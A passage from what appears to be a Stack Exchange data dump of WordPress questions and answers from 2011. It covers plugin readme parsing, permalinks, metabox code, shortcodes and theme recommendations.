  <row Id="10679" PostTypeId="1" AcceptedAnswerId="10682" CreationDate="2011-02-28T11:04:33.857" Score="0" ViewCount="82" Body="&lt;p&gt;I just added a plugin on WP repository but it seems like my readme.txt wasn't parsed correctly. I even ran it through the validator but on the plugin page it shows &lt;code&gt;Description&lt;/code&gt; text under all tabs - &lt;code&gt;Installation, Changelog, FAQ&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin - &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&lt;/a&gt;&#xA;Readme.txt - &lt;a href=&quot;http://plugins.svn.wordpress.org/facebook-like-thumbnail/tags/0.1/readme.txt&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/facebook-like-thumbnail/tags/0.1/readme.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So did I do something wrong? Or readme file parser is to blame?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-28T11:41:07.397" Title="WP plugin repository didn't parse readme.txt correctly" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="10680" PostTypeId="1" AcceptedAnswerId="13525" CreationDate="2011-02-28T11:07:58.510" Score="0" ViewCount="51" Body="&lt;p&gt;Is it possible to have my custom permalink structure on title tag of my blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my current permalink structure is this&#xA;&lt;code&gt;/%postname%/%location%/%mba_courses%/&lt;/code&gt; where my location and mba_courses are custom taxonomies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want this on my title tag, can I write something like this in title tag?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php echo (/%postname%/%location%/%mba_courses%/); ?&amp;gt;&amp;lt;title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this is a wrong code, and it won't work, but is their any way, where I can have this kind of title tag?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-03-30T18:30:53.243" Title="permalinks on title tag" Tags="&lt;permalinks&gt;&lt;title&gt;" AnswerCount="2" />
  <row Id="10681" PostTypeId="1" CreationDate="2011-02-28T11:20:15.690" Score="0" ViewCount="100" Body="&lt;p&gt;I'm not sure how to incorporate nl2br() into this array, I've achieved it with a single metabox. With a $product['test'] = nl2br($product['test']); However no idea how its placed in the following code. Added more code, the objective here is to automatically add line breaks in the textarea using nl2br.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;backend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function getSpecByCat(){&#xA;        $.ajax({&#xA;            type: 'post',&#xA;            url: ajaxURL,&#xA;            data: {&#xA;                action: 'get_spec_by_category',&#xA;                cat_id: catId&#xA;            },          &#xA;            beforeSend:function(){&#xA;                // show the loading image&#xA;                $('#loading_cat').show();&#xA;            },&#xA;            success: function(data){&#xA;                if (data.success){&#xA;                    $('#loading_cat').hide();&#xA;                    $('#specdiv .inside').html('');&#xA;                    $('#specdiv').show();&#xA;&#xA;                    if (data.specs.length &amp;gt; 0){&#xA;                        id_inside = '#specdiv .inside';&#xA;                        spec_data = $('&amp;lt;table id=&quot;spectable&quot; class=&quot;speclist&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; &amp;gt;');&#xA;                        for (var i = 0; i &amp;lt; data.specs.length; i++){&#xA;                            $('#specdiv .inside')&#xA;&#xA;                            // print the group title&#xA;                            $(spec_data).append(&#xA;                                $('&amp;lt;tr&amp;gt;').append(&#xA;                                    '&amp;lt;td colspan=&quot;2&quot; class=&quot;group-title&quot;&amp;gt;&amp;lt;label for=&quot;' + data.specs[i].name + '&quot;&amp;gt; ' + data.specs[i].name + ' &amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;'&#xA;                                )&#xA;                            )&#xA;&#xA;                            // get the spec values&#xA;                            if (data.specs[i].value.length &amp;gt; 0){&#xA;                                for (var j = 0; j &amp;lt; data.specs[i].value.length; j++){&#xA;                                     nl2br$(spec_data).append(&#xA;                                        $('&amp;lt;tr&amp;gt;').append(&#xA;                                            '&amp;lt;td&amp;gt; &amp;lt;label for=&quot;'+ data.specs[i].value[j].name + '&quot;&amp;gt;' + data.specs[i].value[j].name + '&amp;lt;/label&amp;gt; &amp;lt;/td&amp;gt;'&#xA;                                        ).append(&#xA;'&amp;lt;td&amp;gt;&amp;lt;textarea class=&quot;specvalue&quot; id=&quot;g_' + data.specs[i].ID + '_' + data.specs[i].value[j].ID + '&quot; name=&quot;product[spec][g_' + data.specs[i].ID + '_' + data.specs[i].value[j].ID + ']&quot; cols=&quot;50&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;'  &#xA;                                        )  &#xA;                                    );&#xA;                                } // end for j to data.specs[i].value.length&#xA;                            } // end if (data.specs[i].value.length &amp;gt; 0)&#xA;                            else {&#xA;                                $(spec_data).append(&#xA;                                        $('&amp;lt;tr&amp;gt;').append(&#xA;                                            '&amp;lt;td colspan=&quot;2&quot;&amp;gt; This specification has no specification value &amp;lt;/td&amp;gt;'&#xA;                                        )&#xA;                                );&#xA;                            } // end else&#xA;                        }// end for&#xA;                        $(id_inside).append(spec_data);  &#xA;                    } // end if (data.specs.length &amp;gt; 0)&#xA;&#xA;                    // add class odd - row for the odd row&#xA;                    $('#spectable tr:odd').addClass('odd-row');&#xA;&#xA;                    getSpecByPost();&#xA;                } // end if (data.success)              &#xA;            }// end success function&#xA;        });&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;frontend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = 'g_' . $group['ID'] . '_' . $spec_name['ID'];&#xA;if (!empty($spec[$id])){&#xA;echo $spec[$id];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3568" LastEditorUserId="3568" LastEditorDisplayName="" LastEditDate="2011-02-28T12:53:16.547" LastActivityDate="2011-02-28T12:53:16.547" Title="input textarea nl2br" Tags="&lt;input&gt;" />
  <row Id="10682" PostTypeId="2" ParentId="10679" CreationDate="2011-02-28T11:41:07.397" Score="0" ViewCount="" Body="&lt;p&gt;You can add a short piece of text above the description that will be the &quot;short description&quot;. You may need a blank line above and below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not there, then the wp parser uses the first x characters of the description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/amr-ical-events-list/trunk/readme.txt&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/amr-ical-events-list/trunk/readme.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/amr-ical-events-list/trunk/readme.txt&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/amr-ical-events-list/trunk/readme.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-02-28T11:41:07.397" CommentCount="2" />
  <row Id="10683" PostTypeId="2" ParentId="7570" CreationDate="2011-02-28T11:46:20.953" Score="0" ViewCount="" Body="&lt;p&gt;Surely the thing to do would be to provide some kind of buddy press feed per user for each of those types of info and then just use the rss feed code to display the items on the wp blog?  Assuming that somehow you know who belongs to which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would make more sense than trying to mess with plugin update codes&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-02-28T11:46:20.953" />
  <row Id="10684" PostTypeId="2" ParentId="10675" CreationDate="2011-02-28T12:00:12.910" Score="1" ViewCount="" Body="&lt;p&gt;Your options are to hide the right now widget or to change the theme name in style.css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the right now widget that shows the theme name.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/IF62j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the theme name open style.css and change the theme name in the header.  If your using the WordPress file editor activate another theme before you change the name in the header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /*&#xA;Theme Name: Your Theme Name&#xA;Theme URI: http://example.com&#xA;Description: My WordPress theme description&#xA;Version: .99&#xA;Author: My Name&#xA;Author URI: http://example.com&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-28T12:00:12.910" CommentCount="1" />
  <row Id="10685" PostTypeId="1" CreationDate="2011-02-28T12:01:03.973" Score="0" ViewCount="241" Body="&lt;p&gt;Is there better search functionality or a plugin for the admin area of posts or custom post types, I would like to be able to search custom fields and maybe some other advanced searches from the backend only.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-07-29T02:32:51.693" Title="Better search for Wordpress admin backend" Tags="&lt;admin&gt;&lt;search&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="10686" PostTypeId="2" ParentId="10680" CreationDate="2011-02-28T12:02:55.453" Score="0" ViewCount="" Body="&lt;p&gt;If your not using an SEO plugin you can use wp_title to put the permalink url as the tile.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php wp_title(' '); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-28T12:02:55.453" CommentCount="3" />
  <row Id="10687" PostTypeId="1" AcceptedAnswerId="10689" CreationDate="2011-02-28T12:03:10.040" Score="1" ViewCount="165" Body="&lt;p&gt;We have a wordpress site using many subpages to each page - I'm looking to create a show/hide accordion toggle within the backend to show and hide subpages allowing us to keep the page listings clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a plugin to do this? I've had a google but not much joy so far..&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2011-02-28T12:16:11.227" Title="show/hide toggle for subpages in wordpress admin area" Tags="&lt;wp-admin&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="10688" PostTypeId="2" ParentId="10685" CreationDate="2011-02-28T12:12:05.310" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Search Everything&lt;/a&gt; plugin works pretty well for me on the front end. I've never tried it, but you should be able to fork it and add is_admin() conditionals to all of the functions it uses. Or better yet, just allow the frond-end to be search-able too. A visitor who can find what they are looking for quickly is a happy visitor :)&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-28T12:12:05.310" />
  <row Id="10689" PostTypeId="2" ParentId="10687" CreationDate="2011-02-28T12:16:11.227" Score="1" ViewCount="" Body="&lt;p&gt;PageMash looks like it does that: &lt;a href=&quot;http://wordpress.org/extend/plugins/pagemash/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pagemash/&lt;/a&gt; and &lt;a href=&quot;http://joelstarnes.co.uk/blog/pagemash/&quot; rel=&quot;nofollow&quot;&gt;http://joelstarnes.co.uk/blog/pagemash/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-28T12:16:11.227" CommentCount="3" />
  <row Id="10690" PostTypeId="2" ParentId="10656" CreationDate="2011-02-28T12:27:55.067" Score="0" ViewCount="" Body="&lt;p&gt;Ik heb tiny advanced geinstalleerd.&#xA;&lt;a href=&quot;http://rubayathasan.com/wordpress/plugin/enabling-line-break-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://rubayathasan.com/wordpress/plugin/enabling-line-break-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does solve the problem, but now I need to enter a double enter to see a single one.&lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-02-28T12:27:55.067" />
  <row Id="10691" PostTypeId="1" CreationDate="2011-02-28T12:29:38.250" Score="0" ViewCount="79" Body="&lt;p&gt;I am currently using &quot;Wordpress Code Snippet&quot; to add functionality to my code i insert into my posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way this plugin works is that you add the code into the plugins library in the settings and then do something like [code: 1] (cant quite remember the exact syntax off the top of my head)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really too keen on its styling, so i'm hoping to use Google's Prettify. What implications would deactivating this plugin have? Would i lose all my code snippets? Would i have to go through every post and edit all the code snippets (ie. the [code: 1])?&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-08-01T17:15:56.873" Title="Switching Code plugins" Tags="&lt;plugins&gt;&lt;code&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10692" PostTypeId="2" ParentId="10678" CreationDate="2011-02-28T12:35:49.120" Score="0" ViewCount="" Body="&lt;p&gt;That action will be called once when the post is moved to the trash, and then again when the trash is emptied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your function could check for the presence of an option with the post ID in the name, if the option is not there then it sends the email and then sets the option. If the option is there (e.g. it's being called a second time) you would not send the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember then to delete the option, so your database doesn't fill up with them!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'delete_post', 'emailUser' );&#xA;&#xA;function emailUser( $postid ) {&#xA;&#xA;   if ( ! get_option( 'user_emailed_' . $postid ) ) {&#xA;      // send email here&#xA;      update_option( 'user_emailed_' . $postid, 'anything' );&#xA;   } else {&#xA;      delete_option( 'user_emailed_' . $postid );&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that works!&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-28T12:35:49.120" CommentCount="3" />
  <row Id="10693" PostTypeId="2" ParentId="10691" CreationDate="2011-02-28T12:40:28.443" Score="1" ViewCount="" Body="&lt;p&gt;It looks like it is using shortcodes (square brackets with text in them), so if you deactivate the plugin you would end up with just the shortcode in your posts, they would no longer be converted into the snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're worried about whether you'll lose your actual data that the plugin has saved, that is a question for the plugin author on the support forums.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-28T12:40:28.443" />
  <row Id="10694" PostTypeId="2" ParentId="10676" CreationDate="2011-02-28T12:45:23.240" Score="1" ViewCount="" Body="&lt;p&gt;You can't turn it off, because it's hard-coded into the submit metabox for the &lt;strong&gt;post&lt;/strong&gt; post type, you can however hide the sticky checkbox and update the sticky array to unstick any currently stuck posts.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Hide the sticky checkbox&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Add additional CSS to the post and post-new pages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles', 'hide_sticky_option' );&#xA;function hide_sticky_option() {&#xA;    global $post_type, $pagenow;&#xA;    if( 'post.php' != $pagenow &amp;amp;&amp;amp; 'post-new.php' != $pagenow )&#xA;        return;&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;#sticky-span { display:none!important }&amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Unstick any currently stuck posts&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Add this one of your theme files, load a page that calls that file, then remove&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'sticky_posts', array() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-28T12:45:23.240" />
  <row Id="10695" PostTypeId="1" CreationDate="2011-02-28T13:08:38.117" Score="0" ViewCount="188" Body="&lt;p&gt;I have this function to query the plugin multiple taxonomies.&#xA;Does anyone know what loop I use to order these dates in ascending or descending? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function alter_orderby( $orderby_sql ) {&#xA;  $query = qmt_get_query(); // get the current tax query, as an associative array&#xA;&#xA;  if ( !isset( $query['bydate'] ) )&#xA;    return $orderby_sql; // no term in the bydate tax selected&#xA;&#xA;  if ( 'bydate1' == $query['bydate'] ) {&#xA;    $orderby_sql = '...'; // SQL for sorting by date field A&#xA;  }&#xA;  elseif ( 'bydate2' == $query['bydate'] ) {&#xA;    $orderby_sql = '...'; // SQL for sorting by date field B&#xA;  }&#xA;  elseif ( 'bydate3' == $query['bydate'] ) {&#xA;    $orderby_sql = '...'; // SQL for sorting by date field C&#xA;  }&#xA;&#xA;  return $orderby_sql;&#xA;}&#xA;add_filter( 'posts_orderby', 'alter_orderby' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Function by Scribu=Thanks!)&lt;/p&gt;&#xA;" OwnerUserId="3421" LastActivityDate="2011-02-28T13:08:38.117" Title="Query posts with custom function query multiple taxonomies plugin" Tags="&lt;query-posts&gt;" CommentCount="3" />
  <row Id="10696" PostTypeId="2" ParentId="10677" CreationDate="2011-02-28T13:22:03.243" Score="0" ViewCount="" Body="&lt;p&gt;here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class','body_class_slugs');&#xA;function body_class_slugs($classes) {&#xA;    global $posts,$post;&#xA;&#xA;    if(is_single() || is_page()){ //only on a single post or page&#xA;        if (isset($posts)){&#xA;            $classes[] = $post[0]-&amp;gt;post_name; //posts is an array of posts so we use the first one by calling [0]&#xA;        }&#xA;        elseif (isset($post)){&#xA;            $classes[] = $post-&amp;gt;post_name;&#xA;        }&#xA;    }&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T13:22:03.243" CommentCount="6" />
  <row Id="10697" PostTypeId="2" ParentId="10672" CreationDate="2011-02-28T13:23:33.320" Score="1" ViewCount="" Body="&lt;p&gt;Your problem is that &lt;code&gt;ob_file&lt;/code&gt; ain't global. You only define it in &lt;code&gt;c3m_export_xml()&lt;/code&gt;. Setting &lt;code&gt;global $ob_file&lt;/code&gt; in &lt;code&gt;ob_file_callback()&lt;/code&gt; gives you an empty file handle. Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_export_xml() {     &#xA;    $args=array(&#xA;        'content' =&amp;gt; 'posts',&#xA;        'start_date' =&amp;gt; 'october 2008',&#xA;        'status' =&amp;gt; 'published');&#xA;&#xA;    ob_start();&#xA;    export_wp($args);&#xA;    $xml = ob_get_clean();&#xA;&#xA;    file_put_contents('server_path_to_my_file.xml', $xml);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T13:23:33.320" CommentCount="1" />
  <row Id="10698" PostTypeId="2" ParentId="10651" CreationDate="2011-02-28T13:54:15.197" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Can it have anything to do with how the 'Categories' link was added to the menu? In the Super Admin &gt; Appearance &gt; Menus panel, I created a custom link, typed '#' in the URL field and 'Categories' for the label, then added to the menu.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's exactly the problem.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-28T13:54:15.197" />
  <row Id="10699" PostTypeId="1" CreationDate="2011-02-28T10:22:10.883" Score="-1" ViewCount="175" Body="&lt;p&gt;Excuse my poor English, I'm French!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a free WP theme for a friend's portfolio. It must be fancy, with a slider in the home page. Colors: white, gray, bright green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a perfect premium theme: &lt;a href=&quot;http://themeforest.net/item/ebiz-corporate-and-business-wordpress-theme/full_screen_preview/160125?ref=gd6d&quot; rel=&quot;nofollow&quot;&gt;Ebiz&lt;/a&gt;. I want a nearly similar one for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" LastEditorUserId="3573" LastEditorDisplayName="" LastEditDate="2011-02-28T14:12:11.730" LastActivityDate="2011-03-31T12:38:48.233" Title="Free WordPress portfolio theme" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="10700" PostTypeId="2" ParentId="10699" CreationDate="2011-02-28T13:43:24.177" Score="0" ViewCount="" Body="&lt;p&gt;there are a few good free themes here: &lt;a href=&quot;http://www.smashingmagazine.com/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.smashingmagazine.com/tag/wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some free themes &lt;a href=&quot;http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/&quot; rel=&quot;nofollow&quot;&gt;have spam links embedded in them&lt;/a&gt; so be sure to check the source code!&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-02-28T13:43:24.177" CommentCount="2" />
  <row Id="10701" PostTypeId="1" CreationDate="2010-02-26T06:34:00.437" Score="2" ViewCount="325" Body="&lt;p&gt;I have installed Thesis theme. The default permalink structure is BLOGURL/%postid%/&#xA;When I change it to BLOGURL/%postname%/, I can't access the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have modified .htaccess file and the &quot;nav_bar function&quot; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me out? I can't figure out the redirection error.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-04-02T08:07:37.447" LastActivityDate="2011-04-02T08:07:37.447" Title="How to change &quot;permalink&quot; structure in &quot;Wordpress Thesis&quot; theme?" Tags="&lt;permalinks&gt;&lt;theme-thesis&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10702" PostTypeId="2" ParentId="10701" CreationDate="2010-04-11T19:26:32.913" Score="2" ViewCount="" Body="&lt;p&gt;first set it to default url &amp;amp; see  whether eveything is right, then delete all text in .htaccess   &amp;amp; add the new url format you need &amp;amp; save &amp;amp; get .htaccess updated &amp;amp; see your site&lt;/p&gt;&#xA;" LastActivityDate="2010-04-11T19:26:32.913" />
  <row Id="10703" PostTypeId="1" AcceptedAnswerId="10773" CreationDate="2011-02-28T14:19:57.917" Score="0" ViewCount="152" Body="&lt;p&gt;I have a submission form where users can submit posts on my site. I have three steps (3 form pages) and in the first one user selects the post category, clicks the submit button and moves on to the next page which loads a form assigned to that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, is there a way to have the categories as links (buttons) so that when user clicks on one, the form is submitted and he moves on to the next step without needing to click the actual submit button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the submit button looks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;getcat&quot; id=&quot;getcat&quot; class=&quot;btn_catstep&quot; value=&quot;&amp;lt;?php _e('Continue'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is how the form per category is handled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            $Category = get_term_by('id',$_POST['cat'],'p_cat');&#xA;            $_POST['catname'] = $Category-&amp;gt;name;&#xA;        ?&amp;gt;&#xA;&#xA;            &amp;lt;form name=&quot;mainform&quot; id=&quot;mainform&quot; class=&quot;form_step&quot; action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA;                &amp;lt;ol&amp;gt;&#xA;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&amp;lt;?php _e('Category');?&amp;gt;:&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;strong&amp;gt;&amp;lt;?php echo $_POST['catname']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;small&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;?php _e('(change)') ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/small&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo show_form($_POST['cat']); ?&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;btn&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;submit&quot; name=&quot;step1&quot; id=&quot;step1&quot; class=&quot;btn_next&quot; value=&quot;&amp;lt;?php _e('Continue'); ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;/ol&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;cat&quot; name=&quot;cat&quot; value=&quot;&amp;lt;?php echo $_POST['cat']; ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;catname&quot; name=&quot;catname&quot; value=&quot;&amp;lt;?php echo $_POST['catname']; ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;fid&quot; name=&quot;fid&quot; value=&quot;&amp;lt;?php if(isset($_POST['fid'])) echo $_POST['fid']; ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;oid&quot; name=&quot;oid&quot; value=&quot;&amp;lt;?php echo $order_id; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I currently have the categories in a basic dropdown with the submit button below it. If I have to hard code the links one by one, no problem, just don't know how to go about with this.&lt;/p&gt;&#xA;" OwnerUserId="3232" LastActivityDate="2011-03-01T19:41:44.050" Title="Categories as selectable links on submission form" Tags="&lt;categories&gt;&lt;links&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="10704" PostTypeId="1" AcceptedAnswerId="10739" CreationDate="2011-02-28T14:41:52.867" Score="0" ViewCount="398" Body="&lt;p&gt;I've been looking through voting plugins and cannot seem to find one that works for me. I'm hoping you can help me out before I have to build my own as I'm tight on time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page that will be full of (custom) posts, and I want users to be able to vote for their favorite. They should only be able to vote once, and I would like to track the username of the person who voted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-polls/&quot; rel=&quot;nofollow&quot;&gt;WP-Polls&lt;/a&gt; is a great poll plugin that has the same features that I need (track voter and limit to one vote based on username), but I want to have a small 'vote' button below  each listed post. &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote It Up&lt;/a&gt; can add a voting button at the bottom of each post, but does not track users or limit them to one vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas where I could find something like that? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-02-28T18:16:54.910" Title="Wordpress Vote Plugin - Vote Once and Track User" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="3" />
  <row Id="10705" PostTypeId="1" CreationDate="2011-02-28T14:41:53.317" Score="0" ViewCount="418" Body="&lt;p&gt;I use this in my Functions.php file to format short codes for some jQuery UI tabs, however I also use a short tag to reference my video embeds, which breaks when they're inside the UI tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how would I just pass my video short code through this function unaltered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// jQuery UI Tabs&#xA;add_shortcode( 'tabgroup', 'etdc_tab_group' );&#xA;function etdc_tab_group( $atts, $content ){&#xA;$GLOBALS['tab_count'] = 0;&#xA;&#xA;do_shortcode( $content );&#xA;&#xA;if( is_array( $GLOBALS['tabs'] ) ){&#xA;foreach( $GLOBALS['tabs'] as $tab ){&#xA;$tabs[] = '&amp;lt;li&amp;gt;&amp;lt;a class=&quot;&quot; href=&quot;#'.$tab['title'].'&quot;&amp;gt;'.$tab['title'].'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;$panes[] = '&amp;lt;div id=&quot;'.$tab['title'].'&quot;&amp;gt;&amp;lt;h3&amp;gt;'.$tab['title'].'&amp;lt;/h3&amp;gt;'.$tab['content'].'&amp;lt;/div&amp;gt;';&#xA;}&#xA;$return = &quot;\n&quot;.'&amp;lt;!-- the tabs --&amp;gt;&amp;lt;div id=&quot;tabs&quot;&amp;gt;&amp;lt;ul&amp;gt;'.implode( &quot;\n&quot;, $tabs ).'&amp;lt;/ul&amp;gt;'.&quot;\n&quot;.'&amp;lt;!-- tab &quot;panes&quot; --&amp;gt;'.implode( &quot;\n&quot;, $panes ).'&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;}&#xA;return $return;&#xA;}&#xA;&#xA;add_shortcode( 'tab', 'etdc_tab' );&#xA;function etdc_tab( $atts, 